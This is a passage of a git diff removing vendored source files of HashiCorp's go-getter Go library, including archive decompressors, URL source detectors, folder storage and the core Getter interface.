Bzip2Decompressor is an implementation of Decompressor that can -// decompress bz2 files. -type Bzip2Decompressor struct{} - -func (d *Bzip2Decompressor) Decompress(dst, src string, dir bool) error { - // Directory isn't supported at all - if dir { - return fmt.Errorf("bzip2-compressed files can only unarchive to a single file") - } - - // If we're going into a directory we should make that first - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - // File first - f, err := os.Open(src) - if err != nil { - return err - } - defer f.Close() - - // Bzip2 compression is second - bzipR := bzip2.NewReader(f) - - // Copy it out - dstF, err := os.Create(dst) - if err != nil { - return err - } - defer dstF.Close() - - _, err = io.Copy(dstF, bzipR) - return err -} diff --git a/vendor/github.com/hashicorp/go-getter/decompress_gzip.go b/vendor/github.com/hashicorp/go-getter/decompress_gzip.go deleted file mode 100644 index 5ebf709b4f..0000000000 --- a/vendor/github.com/hashicorp/go-getter/decompress_gzip.go +++ /dev/null @@ -1,49 +0,0 @@ -package getter - -import ( - "compress/gzip" - "fmt" - "io" - "os" - "path/filepath" -) - -// GzipDecompressor is an implementation of Decompressor that can -// decompress gzip files. -type GzipDecompressor struct{} - -func (d *GzipDecompressor) Decompress(dst, src string, dir bool) error { - // Directory isn't supported at all - if dir { - return fmt.Errorf("gzip-compressed files can only unarchive to a single file") - } - - // If we're going into a directory we should make that first - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - // File first - f, err := os.Open(src) - if err != nil { - return err - } - defer f.Close() - - // gzip compression is second - gzipR, err := gzip.NewReader(f) - if err != nil { - return err - } - defer gzipR.Close() - - // Copy it out - dstF, err := os.Create(dst) - if err != nil { - return err - } - defer dstF.Close() - - _, err = io.Copy(dstF, gzipR) - return err -} diff --git a/vendor/github.com/hashicorp/go-getter/decompress_tar.go b/vendor/github.com/hashicorp/go-getter/decompress_tar.go deleted file mode 100644 index b6986a25ae..0000000000 --- a/vendor/github.com/hashicorp/go-getter/decompress_tar.go +++ /dev/null @@ -1,160 +0,0 @@ -package getter - -import ( - "archive/tar" - "fmt" - "io" - "os" - "path/filepath" - "time" -) - -// untar is a shared helper for untarring an archive. The reader should provide -// an uncompressed view of the tar archive. -func untar(input io.Reader, dst, src string, dir bool) error { - tarR := tar.NewReader(input) - done := false - dirHdrs := []*tar.Header{} - now := time.Now() - for { - hdr, err := tarR.Next() - if err == io.EOF { - if !done { - // Empty archive - return fmt.Errorf("empty archive: %s", src) - } - - break - } - if err != nil { - return err - } - - if hdr.Typeflag == tar.TypeXGlobalHeader || hdr.Typeflag == tar.TypeXHeader { - // don't unpack extended headers as files - continue - } - - path := dst - if dir { - // Disallow parent traversal - if containsDotDot(hdr.Name) { - return fmt.Errorf("entry contains '..': %s", hdr.Name) - } - - path = filepath.Join(path, hdr.Name) - } - - if hdr.FileInfo().IsDir() { - if !dir { - return fmt.Errorf("expected a single file: %s", src) - } - - // A directory, just make the directory and continue unarchiving... - if err := os.MkdirAll(path, 0755); err != nil { - return err - } - - // Record the directory information so that we may set its attributes - // after all files have been extracted - dirHdrs = append(dirHdrs, hdr) - - continue - } else { - // There is no ordering guarantee that a file in a directory is - // listed before the directory - dstPath := filepath.Dir(path) - - // Check that the directory exists, otherwise create it - if _, err := os.Stat(dstPath); os.IsNotExist(err) { - if err := os.MkdirAll(dstPath, 0755); err != nil { - return err - } - } - } - - // We have a file. If we already decoded, then it is an error - if !dir && done { - return fmt.Errorf("expected a single file, got multiple: %s", src) - } - - // Mark that we're done so future in single file mode errors - done = true - - // Open the file for writing - dstF, err := os.Create(path) - if err != nil { - return err - } - _, err = io.Copy(dstF, tarR) - dstF.Close() - if err != nil { - return err - } - - // Chmod the file - if err := os.Chmod(path, hdr.FileInfo().Mode()); err != nil { - return err - } - - // Set the access and modification time if valid, otherwise default to current time - aTime := now - mTime := now - if hdr.AccessTime.Unix() > 0 { - aTime = hdr.AccessTime - } - if hdr.ModTime.Unix() > 0 { - mTime = hdr.ModTime - } - if err := os.Chtimes(path, aTime, mTime); err != nil { - return err - } - } - - // Perform a final pass over extracted directories to update metadata - for _, dirHdr := range dirHdrs { - path := filepath.Join(dst, dirHdr.Name) - // Chmod the directory since they might be created before we know the mode flags - if err := os.Chmod(path, dirHdr.FileInfo().Mode()); err != nil { - return err - } - // Set the mtime/atime attributes since they would have been changed during extraction - aTime := now - mTime := now - if dirHdr.AccessTime.Unix() > 0 { - aTime = dirHdr.AccessTime - } - if dirHdr.ModTime.Unix() > 0 { - mTime = dirHdr.ModTime - } - if err := os.Chtimes(path, aTime, mTime); err != nil { - return err - } - } - - return nil -} - -// tarDecompressor is an implementation of Decompressor that can -// unpack tar files. -type tarDecompressor struct{} - -func (d *tarDecompressor) Decompress(dst, src string, dir bool) error { - // If we're going into a directory we should make that first - mkdir := dst - if !dir { - mkdir = filepath.Dir(dst) - } - if err := os.MkdirAll(mkdir, 0755); err != nil { - return err - } - - // File first - f, err := os.Open(src) - if err != nil { - return err - } - defer f.Close() - - return untar(f, dst, src, dir) -} diff --git a/vendor/github.com/hashicorp/go-getter/decompress_tbz2.go b/vendor/github.com/hashicorp/go-getter/decompress_tbz2.go deleted file mode 100644 index 5391b5c8c5..0000000000 --- a/vendor/github.com/hashicorp/go-getter/decompress_tbz2.go +++ /dev/null @@ -1,33 +0,0 @@ -package getter - -import ( - "compress/bzip2" - "os" - "path/filepath" -) - -// TarBzip2Decompressor is an implementation of Decompressor that can -// decompress tar.bz2 files. -type TarBzip2Decompressor struct{} - -func (d *TarBzip2Decompressor) Decompress(dst, src string, dir bool) error { - // If we're going into a directory we should make that first - mkdir := dst - if !dir { - mkdir = filepath.Dir(dst) - } - if err := os.MkdirAll(mkdir, 0755); err != nil { - return err - } - - // File first - f, err := os.Open(src) - if err != nil { - return err - } - defer f.Close() - - // Bzip2 compression is second - bzipR := bzip2.NewReader(f) - return untar(bzipR, dst, src, dir) -} diff --git a/vendor/github.com/hashicorp/go-getter/decompress_testing.go b/vendor/github.com/hashicorp/go-getter/decompress_testing.go deleted file mode 100644 index b2f662a89d..0000000000 --- a/vendor/github.com/hashicorp/go-getter/decompress_testing.go +++ /dev/null @@ -1,171 +0,0 @@ -package getter - -import ( - "crypto/md5" - "encoding/hex" - "io" - "io/ioutil" - "os" - "path/filepath" - "reflect" - "runtime" - "sort" - "strings" - "time" - - "github.com/mitchellh/go-testing-interface" -) - -// TestDecompressCase is a single test case for testing decompressors -type TestDecompressCase struct { - Input string // Input is the complete path to the input file - Dir bool // Dir is whether or not we're testing directory mode - Err bool // Err is whether we expect an error or not - DirList []string // DirList is the list of files for Dir mode - FileMD5 string // FileMD5 is the expected MD5 for a single file - Mtime *time.Time // Mtime is the optionally expected mtime for a single file (or all files if in Dir mode) -} - -// TestDecompressor is a helper function for testing generic decompressors. -func TestDecompressor(t testing.T, d Decompressor, cases []TestDecompressCase) { - t.Helper() - - for _, tc := range cases { - t.Logf("Testing: %s", tc.Input) - - // Temporary dir to store stuff - td, err := ioutil.TempDir("", "getter") - if err != nil { - t.Fatalf("err: %s", err) - } - - // Destination is always joining result so that we have a new path - dst := filepath.Join(td, "subdir", "result") - - // We use a function so defers work - func() { - defer os.RemoveAll(td) - - // Decompress - err := d.Decompress(dst, tc.Input, tc.Dir) - if (err != nil) != tc.Err { - t.Fatalf("err %s: %s", tc.Input, err) - } - if tc.Err { - return - } - - // If it isn't a directory, then check for a single file - if !tc.Dir { - fi, err := os.Stat(dst) - if err != nil { - t.Fatalf("err %s: %s", tc.Input, err) - } - if fi.IsDir() { - t.Fatalf("err %s: expected file, got directory", tc.Input) - } - if tc.FileMD5 != "" { - actual := testMD5(t, dst) - expected := tc.FileMD5 - if actual != expected { - t.Fatalf("err %s: expected MD5 %s, got %s", tc.Input, expected, actual) - } - } - - if tc.Mtime != nil { - actual := fi.ModTime() - if tc.Mtime.Unix() > 0 { - expected := *tc.Mtime - if actual != expected { - t.Fatalf("err %s: expected mtime '%s' for %s, got '%s'", tc.Input, expected.String(), dst, actual.String()) - } - } else if actual.Unix() <= 0 { - t.Fatalf("err %s: expected mtime to be > 0, got '%s'", actual.String()) - } - } - - return - } - - // Convert expected for windows - expected := tc.DirList - if runtime.GOOS == "windows" { - for i, v := range expected { - expected[i] = strings.Replace(v, "/", "\\", -1) - } - } - - // Directory, check for the correct contents - actual := testListDir(t, dst) - if !reflect.DeepEqual(actual, expected) { - t.Fatalf("bad %s\n\n%#v\n\n%#v", tc.Input, actual, expected) - } - // Check for correct atime/mtime - for _, dir := range actual { - path := filepath.Join(dst, dir) - if tc.Mtime != nil { - fi, err := os.Stat(path) - if err != nil { - t.Fatalf("err: %s", err) - } - actual := fi.ModTime() - if tc.Mtime.Unix() > 0 { - expected := *tc.Mtime - if actual != expected { - t.Fatalf("err %s: expected mtime '%s' for %s, got '%s'", tc.Input, expected.String(), path, actual.String()) - } - } else if actual.Unix() < 0 { - t.Fatalf("err %s: expected mtime to be > 0, got '%s'", actual.String()) - } - - } - } - }() - } -} - -func testListDir(t testing.T, path string) []string { - var result []string - err := filepath.Walk(path, func(sub string, info os.FileInfo, err error) error { - if err != nil { - return err - } - - sub = strings.TrimPrefix(sub, path) - if sub == "" { - return nil - } - sub = sub[1:] // Trim the leading path sep. - - // If it is a dir, add trailing sep - if info.IsDir() { - sub += string(os.PathSeparator) - } - - result = append(result, sub) - return nil - }) - if err != nil { - t.Fatalf("err: %s", err) - } - - sort.Strings(result) - return result -} - -func testMD5(t testing.T, path string) string { - f, err := os.Open(path) - if err != nil { - t.Fatalf("err: %s", err) - } - defer f.Close() - - h := md5.New() - _, err = io.Copy(h, f) - if err != nil { - t.Fatalf("err: %s", err) - } - - result := h.Sum(nil) - return hex.EncodeToString(result) -} diff --git a/vendor/github.com/hashicorp/go-getter/decompress_tgz.go b/vendor/github.com/hashicorp/go-getter/decompress_tgz.go deleted file mode 100644 index 65eb70dd2c..0000000000 --- a/vendor/github.com/hashicorp/go-getter/decompress_tgz.go +++ /dev/null @@ -1,39 +0,0 @@ -package getter - -import ( - "compress/gzip" - "fmt" - "os" - "path/filepath" -) - -// TarGzipDecompressor is an implementation of Decompressor that can -// decompress tar.gzip files. -type TarGzipDecompressor struct{} - -func (d *TarGzipDecompressor) Decompress(dst, src string, dir bool) error { - // If we're going into a directory we should make that first - mkdir := dst - if !dir { - mkdir = filepath.Dir(dst) - } - if err := os.MkdirAll(mkdir, 0755); err != nil { - return err - } - - // File first - f, err := os.Open(src) - if err != nil { - return err - } - defer f.Close() - - // Gzip compression is second - gzipR, err := gzip.NewReader(f) - if err != nil { - return fmt.Errorf("Error opening a gzip reader for %s: %s", src, err) - } - defer gzipR.Close() - - return untar(gzipR, dst, src, dir) -} diff --git a/vendor/github.com/hashicorp/go-getter/decompress_txz.go b/vendor/github.com/hashicorp/go-getter/decompress_txz.go deleted file mode 100644 index 5e151c127d..0000000000 --- a/vendor/github.com/hashicorp/go-getter/decompress_txz.go +++ /dev/null @@ -1,39 +0,0 @@ -package getter - -import ( - "fmt" - "os" - "path/filepath" - - "github.com/ulikunitz/xz" -) - -// TarXzDecompressor is an implementation of Decompressor that can -// decompress tar.xz files. -type TarXzDecompressor struct{} - -func (d *TarXzDecompressor) Decompress(dst, src string, dir bool) error { - // If we're going into a directory we should make that first - mkdir := dst - if !dir { - mkdir = filepath.Dir(dst) - } - if err := os.MkdirAll(mkdir, 0755); err != nil { - return err - } - - // File first - f, err := os.Open(src) - if err != nil { - return err - } - defer f.Close() - - // xz compression is second - txzR, err := xz.NewReader(f) - if err != nil { - return fmt.Errorf("Error opening an xz reader for %s: %s", src, err) - } - - return untar(txzR, dst, src, dir) -} diff --git a/vendor/github.com/hashicorp/go-getter/decompress_xz.go b/vendor/github.com/hashicorp/go-getter/decompress_xz.go deleted file mode 100644 index 4e37abab10..0000000000 --- a/vendor/github.com/hashicorp/go-getter/decompress_xz.go +++ /dev/null @@ -1,49 +0,0 @@ -package getter - -import ( - "fmt" - "io" - "os" - "path/filepath" - - "github.com/ulikunitz/xz" -) - -// XzDecompressor is an implementation of Decompressor that can -// decompress xz files. -type XzDecompressor struct{} - -func (d *XzDecompressor) Decompress(dst, src string, dir bool) error { - // Directory isn't supported at all - if dir { - return fmt.Errorf("xz-compressed files can only unarchive to a single file") - } - - // If we're going into a directory we should make that first - if err := os.MkdirAll(filepath.Dir(dst), 0755); err != nil { - return err - } - - // File first - f, err := os.Open(src) - if err != nil { - return err - } - defer f.Close() - - // xz compression is second - xzR, err := xz.NewReader(f) - if err != nil { - return err - } - - // Copy it out - dstF, err := os.Create(dst) - if err != nil { - return err - } - defer dstF.Close() - - _, err = io.Copy(dstF, xzR) - return err -} diff --git a/vendor/github.com/hashicorp/go-getter/decompress_zip.go b/vendor/github.com/hashicorp/go-getter/decompress_zip.go deleted file mode 100644 index 0830f79143..0000000000 --- a/vendor/github.com/hashicorp/go-getter/decompress_zip.go +++ /dev/null @@ -1,101 +0,0 @@ -package getter - -import ( - "archive/zip" - "fmt" - "io" - "os" - "path/filepath" -) - -// ZipDecompressor is an implementation of Decompressor that can -// decompress zip files. -type ZipDecompressor struct{} - -func (d *ZipDecompressor) Decompress(dst, src string, dir bool) error { - // If we're going into a directory we should make that first - mkdir := dst - if !dir { - mkdir = filepath.Dir(dst) - } - if err := os.MkdirAll(mkdir, 0755); err != nil { - return err - } - - // Open the zip - zipR, err := zip.OpenReader(src) - if err != nil { - return err - } - defer zipR.Close() - - // Check the zip integrity - if len(zipR.File) == 0 { - // Empty archive - return fmt.Errorf("empty archive: %s", src) - } - if !dir && len(zipR.File) > 1 { - return fmt.Errorf("expected a single file: %s", src) - } - - // Go through and unarchive - for _, f := range zipR.File { - path := dst - if dir { - // Disallow parent traversal - if containsDotDot(f.Name) { - return fmt.Errorf("entry contains '..': %s", f.Name) - } - - path = filepath.Join(path, f.Name) - } - - if f.FileInfo().IsDir() { - if !dir { - return fmt.Errorf("expected a single file: %s", src) - } - - // A directory, just make the directory and continue unarchiving... - if err := os.MkdirAll(path, 0755); err != nil { - return err - } - - continue - } - - // Create the enclosing directories if we must. ZIP files aren't - // required to contain entries for just the directories so this - // can happen. - if dir { - if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil { - return err - } - } - - // Open the file for reading - srcF, err := f.Open() - if err != nil { - return err - } - - // Open the file for writing - dstF, err := os.Create(path) - if err != nil { - srcF.Close() - return err - } - _, err = io.Copy(dstF, srcF) - srcF.Close() - dstF.Close() - if err != nil { - return err - } - - // Chmod the file - if err := os.Chmod(path, f.Mode()); err != nil { - return err - } - } - - return nil -} diff --git a/vendor/github.com/hashicorp/go-getter/detect.go b/vendor/github.com/hashicorp/go-getter/detect.go deleted file mode 100644 index 5bb750c9f2..0000000000 --- a/vendor/github.com/hashicorp/go-getter/detect.go +++ /dev/null @@ -1,105 +0,0 @@ -package getter - -import ( - "fmt" - "path/filepath" - - "github.com/hashicorp/go-getter/helper/url" -) - -// Detector defines the interface that an invalid URL or a URL with a blank -// scheme is passed through in order to determine if its shorthand for -// something else well-known. -type Detector interface { - // Detect will detect whether the string matches a known pattern to - // turn it into a proper URL. - Detect(string, string) (string, bool, error) -} - -// Detectors is the list of detectors that are tried on an invalid URL. -// This is also the order they're tried (index 0 is first). -var Detectors []Detector - -func init() { - Detectors = []Detector{ - new(GitHubDetector), - new(GitDetector), - new(BitBucketDetector), - new(S3Detector), - new(GCSDetector), - new(FileDetector), - } -} - -// Detect turns a source string into another source string if it is -// detected to be of a known pattern. -// -// The third parameter should be the list of detectors to use in the -// order to try them. If you don't want to configure this, just use -// the global Detectors variable. -// -// This is safe to be called with an already valid source string: Detect -// will just return it. -func Detect(src string, pwd string, ds []Detector) (string, error) { - getForce, getSrc := getForcedGetter(src) - - // Separate out the subdir if there is one, we don't pass that to detect - getSrc, subDir := SourceDirSubdir(getSrc) - - u, err := url.Parse(getSrc) - if err == nil && u.Scheme != "" { - // Valid URL - return src, nil - } - - for _, d := range ds { - result, ok, err := d.Detect(getSrc, pwd) - if err != nil { - return "", err - } - if !ok { - continue - } - - var detectForce string - detectForce, result = getForcedGetter(result) - result, detectSubdir := SourceDirSubdir(result) - - // If we have a subdir from the detection, then prepend it to our - // requested subdir. - if detectSubdir != "" { - if subDir != "" { - subDir = filepath.Join(detectSubdir, subDir) - } else { - subDir = detectSubdir - } - } - - if subDir != "" { - u, err := url.Parse(result) - if err != nil { - return "", fmt.Errorf("Error parsing URL: %s", err) - } - u.Path += "//" + subDir - - // a subdir may contain wildcards, but in order to support them we - // have to ensure the path isn't escaped. - u.RawPath = u.Path - - result = u.String() - } - - // Preserve the forced getter if it exists. We try to use the - // original set force first, followed by any force set by the - // detector. - if getForce != "" { - result = fmt.Sprintf("%s::%s", getForce, result) - } else if detectForce != "" { - result = fmt.Sprintf("%s::%s", detectForce, result) - } - - return result, nil - } - - return "", fmt.Errorf("invalid source string: %s", src) -} diff --git a/vendor/github.com/hashicorp/go-getter/detect_bitbucket.go b/vendor/github.com/hashicorp/go-getter/detect_bitbucket.go deleted file mode 100644 index 19047eb197..0000000000 --- a/vendor/github.com/hashicorp/go-getter/detect_bitbucket.go +++ /dev/null @@ -1,66 +0,0 @@ -package getter - -import ( - "encoding/json" - "fmt" - "net/http" - "net/url" - "strings" -) - -// BitBucketDetector implements Detector to detect BitBucket URLs and turn -// them into URLs that the Git or Hg Getter can understand. -type BitBucketDetector struct{} - -func (d *BitBucketDetector) Detect(src, _ string) (string, bool, error) { - if len(src) == 0 { - return "", false, nil - } - - if strings.HasPrefix(src, "bitbucket.org/") { - return d.detectHTTP(src) - } - - return "", false, nil -} - -func (d *BitBucketDetector) detectHTTP(src string) (string, bool, error) { - u, err := url.Parse("https://" + src) - if err != nil { - return "", true, fmt.Errorf("error parsing BitBucket URL: %s", err) - } - - // We need to get info on this BitBucket repository to determine whether - // it is Git or Hg. - var info struct { - SCM string `json:"scm"` - } - infoUrl := "https://api.bitbucket.org/2.0/repositories" + u.Path - resp, err := http.Get(infoUrl) - if err != nil { - return "", true, fmt.Errorf("error looking up BitBucket URL: %s", err) - } - if resp.StatusCode == 403 { - // A private repo - return "", true, fmt.Errorf( - "shorthand BitBucket URL can't be used for private repos, " + - "please use a full URL") - } - dec := json.NewDecoder(resp.Body) - if err := dec.Decode(&info); err != nil { - return "", true, fmt.Errorf("error looking up BitBucket URL: %s", err) - } - - switch info.SCM { - case "git": - if !strings.HasSuffix(u.Path, ".git") { - u.Path += ".git" - } - - return "git::" + u.String(), true, nil - case "hg": - return "hg::" + u.String(), true, nil - default: - return "", true, fmt.Errorf("unknown BitBucket SCM type: %s", info.SCM) - } -} diff --git a/vendor/github.com/hashicorp/go-getter/detect_file.go b/vendor/github.com/hashicorp/go-getter/detect_file.go deleted file mode 100644 index 4ef41ea73f..0000000000 --- a/vendor/github.com/hashicorp/go-getter/detect_file.go +++ /dev/null @@ -1,67 +0,0 @@ -package getter - -import ( - "fmt" - "os" - "path/filepath" - "runtime" -) - -// FileDetector implements Detector to detect file paths. -type FileDetector struct{} - -func (d *FileDetector) Detect(src, pwd string) (string, bool, error) { - if len(src) == 0 { - return "", false, nil - } - - if !filepath.IsAbs(src) { - if pwd == "" { - return "", true, fmt.Errorf( - "relative paths require a module with a pwd") - } - - // Stat the pwd to determine if its a symbolic link. If it is, - // then the pwd becomes the original directory. Otherwise, - // `filepath.Join` below does some weird stuff. - // - // We just ignore if the pwd doesn't exist. That error will be - // caught later when we try to use the URL. - if fi, err := os.Lstat(pwd); !os.IsNotExist(err) { - if err != nil { - return "", true, err - } - if fi.Mode()&os.ModeSymlink != 0 { - pwd, err = filepath.EvalSymlinks(pwd) - if err != nil { - return "", true, err - } - - // The symlink itself might be a relative path, so we have to - // resolve this to have a correctly rooted URL. - pwd, err = filepath.Abs(pwd) - if err != nil { - return "", true, err - } - } - } - - src = filepath.Join(pwd, src) - } - - return fmtFileURL(src), true, nil -} - -func fmtFileURL(path string) string { - if runtime.GOOS == "windows" { - // Make sure we're using "/" on Windows. URLs are "/"-based. - path = filepath.ToSlash(path) - return fmt.Sprintf("file://%s", path) - } - - // Make sure that we don't start with "/" since we add that below. - if path[0] == '/' { - path = path[1:] - } - return fmt.Sprintf("file:///%s", path) -} diff --git a/vendor/github.com/hashicorp/go-getter/detect_gcs.go b/vendor/github.com/hashicorp/go-getter/detect_gcs.go deleted file mode 100644 index 11363737c7..0000000000 --- a/vendor/github.com/hashicorp/go-getter/detect_gcs.go +++ /dev/null @@ -1,43 +0,0 @@ -package getter - -import ( - "fmt" - "net/url" - "strings" -) - -// GCSDetector implements Detector to detect GCS URLs and turn -// them into URLs that the GCSGetter can understand. -type GCSDetector struct{} - -func (d *GCSDetector) Detect(src, _ string) (string, bool, error) { - if len(src) == 0 { - return "", false, nil - } - - if strings.Contains(src, "googleapis.com/") { - return d.detectHTTP(src) - } - - return "", false, nil -} - -func (d *GCSDetector) detectHTTP(src string) (string, bool, error) { - - parts := strings.Split(src, "/") - if len(parts) < 5 { - return "", false, fmt.Errorf( - "URL is not a valid GCS URL") - } - version := parts[2] - bucket := parts[3] - object := strings.Join(parts[4:], "/") - - url, err := url.Parse(fmt.Sprintf("https://www.googleapis.com/storage/%s/%s/%s", - version, bucket, object)) - if err != nil { - return "", false, fmt.Errorf("error parsing GCS URL: %s", err) - } - - return "gcs::" + url.String(), true, nil -} diff --git a/vendor/github.com/hashicorp/go-getter/detect_git.go b/vendor/github.com/hashicorp/go-getter/detect_git.go deleted file mode 100644 index eeb8a04c5e..0000000000 --- a/vendor/github.com/hashicorp/go-getter/detect_git.go +++ /dev/null @@ -1,26 +0,0 @@ -package getter - -// GitDetector implements Detector to detect Git SSH URLs such as -// git@host.com:dir1/dir2 and converts them to proper URLs. -type GitDetector struct{} - -func (d *GitDetector) Detect(src, _ string) (string, bool, error) { - if len(src) == 0 { - return "", false, nil - } - - u, err := detectSSH(src) - if err != nil { - return "", true, err - } - if u == nil { - return "", false, nil - } - - // We require the username to be "git" to assume that this is a Git URL - if u.User.Username() != "git" { - return "", false, nil - } - - return "git::" + u.String(), true, nil -} diff --git a/vendor/github.com/hashicorp/go-getter/detect_github.go b/vendor/github.com/hashicorp/go-getter/detect_github.go deleted file mode 100644 index 4bf4daf238..0000000000 --- a/vendor/github.com/hashicorp/go-getter/detect_github.go +++ /dev/null @@ -1,47 +0,0 @@ -package getter - -import ( - "fmt" - "net/url" - "strings" -) - -// GitHubDetector implements Detector to detect GitHub URLs and turn -// them into URLs that the Git Getter can understand. -type GitHubDetector struct{} - -func (d *GitHubDetector) Detect(src, _ string) (string, bool, error) { - if len(src) == 0 { - return "", false, nil - } - - if strings.HasPrefix(src, "github.com/") { - return d.detectHTTP(src) - } - - return "", false, nil -} - -func (d *GitHubDetector) detectHTTP(src string) (string, bool, error) { - parts := strings.Split(src, "/") - if len(parts) < 3 { - return "", false, fmt.Errorf( - "GitHub URLs should be github.com/username/repo") - } - - urlStr := fmt.Sprintf("https://%s", strings.Join(parts[:3], "/")) - url, err := url.Parse(urlStr) - if err != nil { - return "", true, fmt.Errorf("error parsing GitHub URL: %s", err) - } - - if !strings.HasSuffix(url.Path, ".git") { - url.Path += ".git" - } - - if len(parts) > 3 { - url.Path += "//" + strings.Join(parts[3:], "/") - } - - return "git::" + url.String(), true, nil -} diff --git a/vendor/github.com/hashicorp/go-getter/detect_s3.go b/vendor/github.com/hashicorp/go-getter/detect_s3.go deleted file mode 100644 index 8e0f4a03b4..0000000000 --- a/vendor/github.com/hashicorp/go-getter/detect_s3.go +++ /dev/null @@ -1,61 +0,0 @@ -package getter - -import ( - "fmt" - "net/url" - "strings" -) - -// S3Detector implements Detector to detect S3 URLs and turn -// them into URLs that the S3 getter can understand. -type S3Detector struct{} - -func (d *S3Detector) Detect(src, _ string) (string, bool, error) { - if len(src) == 0 { - return "", false, nil - } - - if strings.Contains(src, ".amazonaws.com/") { - return d.detectHTTP(src) - } - - return "", false, nil -} - -func (d *S3Detector) detectHTTP(src string) (string, bool, error) { - parts := strings.Split(src, "/") - if len(parts) < 2 { - return "", false, fmt.Errorf( - "URL is not a valid S3 URL") - } - - hostParts := strings.Split(parts[0], ".") - if len(hostParts) == 3 { - return d.detectPathStyle(hostParts[0], parts[1:]) - } else if len(hostParts) == 4 { - return d.detectVhostStyle(hostParts[1], hostParts[0], parts[1:]) - } else { - return "", false, fmt.Errorf( - "URL is not a valid S3 URL") - } -} - -func (d *S3Detector) detectPathStyle(region string, parts []string) (string, bool, error) { - urlStr := fmt.Sprintf("https://%s.amazonaws.com/%s", region, strings.Join(parts, "/")) - url, err := url.Parse(urlStr) - if err != nil { - return "", false, fmt.Errorf("error parsing S3 URL: %s", err) - } - - return "s3::" + url.String(), true, nil -} - -func (d *S3Detector) detectVhostStyle(region, bucket string, parts []string) (string, bool, error) { - urlStr := fmt.Sprintf("https://%s.amazonaws.com/%s/%s", region, bucket, strings.Join(parts, "/")) - url, err := url.Parse(urlStr) - if err != nil { - return "", false, fmt.Errorf("error parsing S3 URL: %s", err) - } - - return "s3::" + url.String(), true, nil -} diff --git a/vendor/github.com/hashicorp/go-getter/detect_ssh.go b/vendor/github.com/hashicorp/go-getter/detect_ssh.go deleted file mode 100644 index c0dbe9d475..0000000000 --- a/vendor/github.com/hashicorp/go-getter/detect_ssh.go +++ /dev/null @@ -1,49 +0,0 @@ -package getter - -import ( - "fmt" - "net/url" - "regexp" - "strings" -) - -// Note that we do not have an SSH-getter currently so this file serves -// only to hold the detectSSH helper that is used by other detectors. - -// sshPattern matches SCP-like SSH patterns (user@host:path) -var sshPattern = regexp.MustCompile("^(?:([^@]+)@)?([^:]+):/?(.+)$") - -// detectSSH determines if the src string matches an SSH-like URL and -// converts it into a net.URL compatible string. This returns nil if the -// string doesn't match the SSH pattern. -// -// This function is tested indirectly via detect_git_test.go -func detectSSH(src string) (*url.URL, error) { - matched := sshPattern.FindStringSubmatch(src) - if matched == nil { - return nil, nil - } - - user := matched[1] - host := matched[2] - path := matched[3] - qidx := strings.Index(path, "?") - if qidx == -1 { - qidx = len(path) - } - - var u url.URL - u.Scheme = "ssh" - u.User = url.User(user) - u.Host = host - u.Path = path[0:qidx] - if qidx < len(path) { - q, err := url.ParseQuery(path[qidx+1:]) - if err != nil { - return nil, fmt.Errorf("error parsing GitHub SSH URL: %s", err) - } - u.RawQuery = q.Encode() - } - - return &u, nil -} diff --git a/vendor/github.com/hashicorp/go-getter/folder_storage.go b/vendor/github.com/hashicorp/go-getter/folder_storage.go deleted file mode 100644 index 647ccf4592..0000000000 --- a/vendor/github.com/hashicorp/go-getter/folder_storage.go +++ /dev/null @@ -1,65 +0,0 @@ -package getter - -import ( - "crypto/md5" - "encoding/hex" - "fmt" - "os" - "path/filepath" -) - -// FolderStorage is an implementation of the Storage interface that manages -// modules on the disk. -type FolderStorage struct { - // StorageDir is the directory where the modules will be stored. - StorageDir string -} - -// Dir implements Storage.Dir -func (s *FolderStorage) Dir(key string) (d string, e bool, err error) { - d = s.dir(key) - _, err = os.Stat(d) - if err == nil { - // Directory exists - e = true - return - } - if os.IsNotExist(err) { - // Directory doesn't exist - d = "" - e = false - err = nil - return - } - - // An error - d = "" - e = false - return -} - -// Get implements Storage.Get -func (s *FolderStorage) Get(key string, source string, update bool) error { - dir := s.dir(key) - if !update { - if _, err := os.Stat(dir); err == nil { - // If the directory already exists, then we're done since - // we're not updating. - return nil - } else if !os.IsNotExist(err) { - // If the error we got wasn't a file-not-exist error, then - // something went wrong and we should report it. - return fmt.Errorf("Error reading module directory: %s", err) - } - } - - // Get the source. This always forces an update. - return Get(dir, source) -} - -// dir returns the directory name internally that we'll use to map to -// internally. -func (s *FolderStorage) dir(key string) string { - sum := md5.Sum([]byte(key)) - return filepath.Join(s.StorageDir, hex.EncodeToString(sum[:])) -} diff --git a/vendor/github.com/hashicorp/go-getter/get.go b/vendor/github.com/hashicorp/go-getter/get.go deleted file mode 100644 index c233763c67..0000000000 --- a/vendor/github.com/hashicorp/go-getter/get.go +++ /dev/null @@ -1,152 +0,0 @@ -// getter is a package for downloading files or directories from a variety of -// protocols. -// -// getter is unique in its ability to download both directories and files. -// It also detects certain source strings to be protocol-specific URLs. For -// example, "github.com/hashicorp/go-getter" would turn into a Git URL and -// use the Git protocol. -// -// Protocols and detectors are extensible. -// -// To get started, see Client. -package getter - -import ( - "bytes" - "fmt" - "net/url" - "os/exec" - "regexp" - "syscall" - - cleanhttp "github.com/hashicorp/go-cleanhttp" -) - -// Getter defines the interface that schemes must implement to download -// things. -type Getter interface { - // Get downloads the given URL into the given directory. This always - // assumes that we're updating and gets the latest version that it can. - // - // The directory may already exist (if we're updating). If it is in a - // format that isn't understood, an error should be returned. Get shouldn't - // simply nuke the directory. - Get(string, *url.URL) error - - // GetFile downloads the give URL into the given path. The URL must - // reference a single file. If possible, the Getter should check if - // the remote end contains the same file and no-op this operation. - GetFile(string, *url.URL) error - - // ClientMode returns the mode based on the given URL. This is used to - // allow clients to let the getters decide which mode to use. - ClientMode(*url.URL) (ClientMode, error) - - // SetClient allows a getter to know it's client - // in order to access client's Get functions or - // progress tracking. - SetClient(*Client) -} - -// Getters is the mapping of scheme to the Getter implementation that will -// be used to get a dependency. -var Getters map[string]Getter - -// forcedRegexp is the regular expression that finds forced getters. This -// syntax is schema::url, example: git::https://foo.com -var forcedRegexp = regexp.MustCompile(`^([A-Za-z0-9]+)::(.+)$`) - -// httpClient is the default client to be used by HttpGetters. -var httpClient = cleanhttp.DefaultClient() - -func init() { - httpGetter := &HttpGetter{ - Netrc: true, - } - - Getters = map[string]Getter{ - "file": new(FileGetter), - "git": new(GitGetter), - "gcs": new(GCSGetter), - "hg": new(HgGetter), - "s3": new(S3Getter), - "http": httpGetter, - "https": httpGetter, - } -} - -// 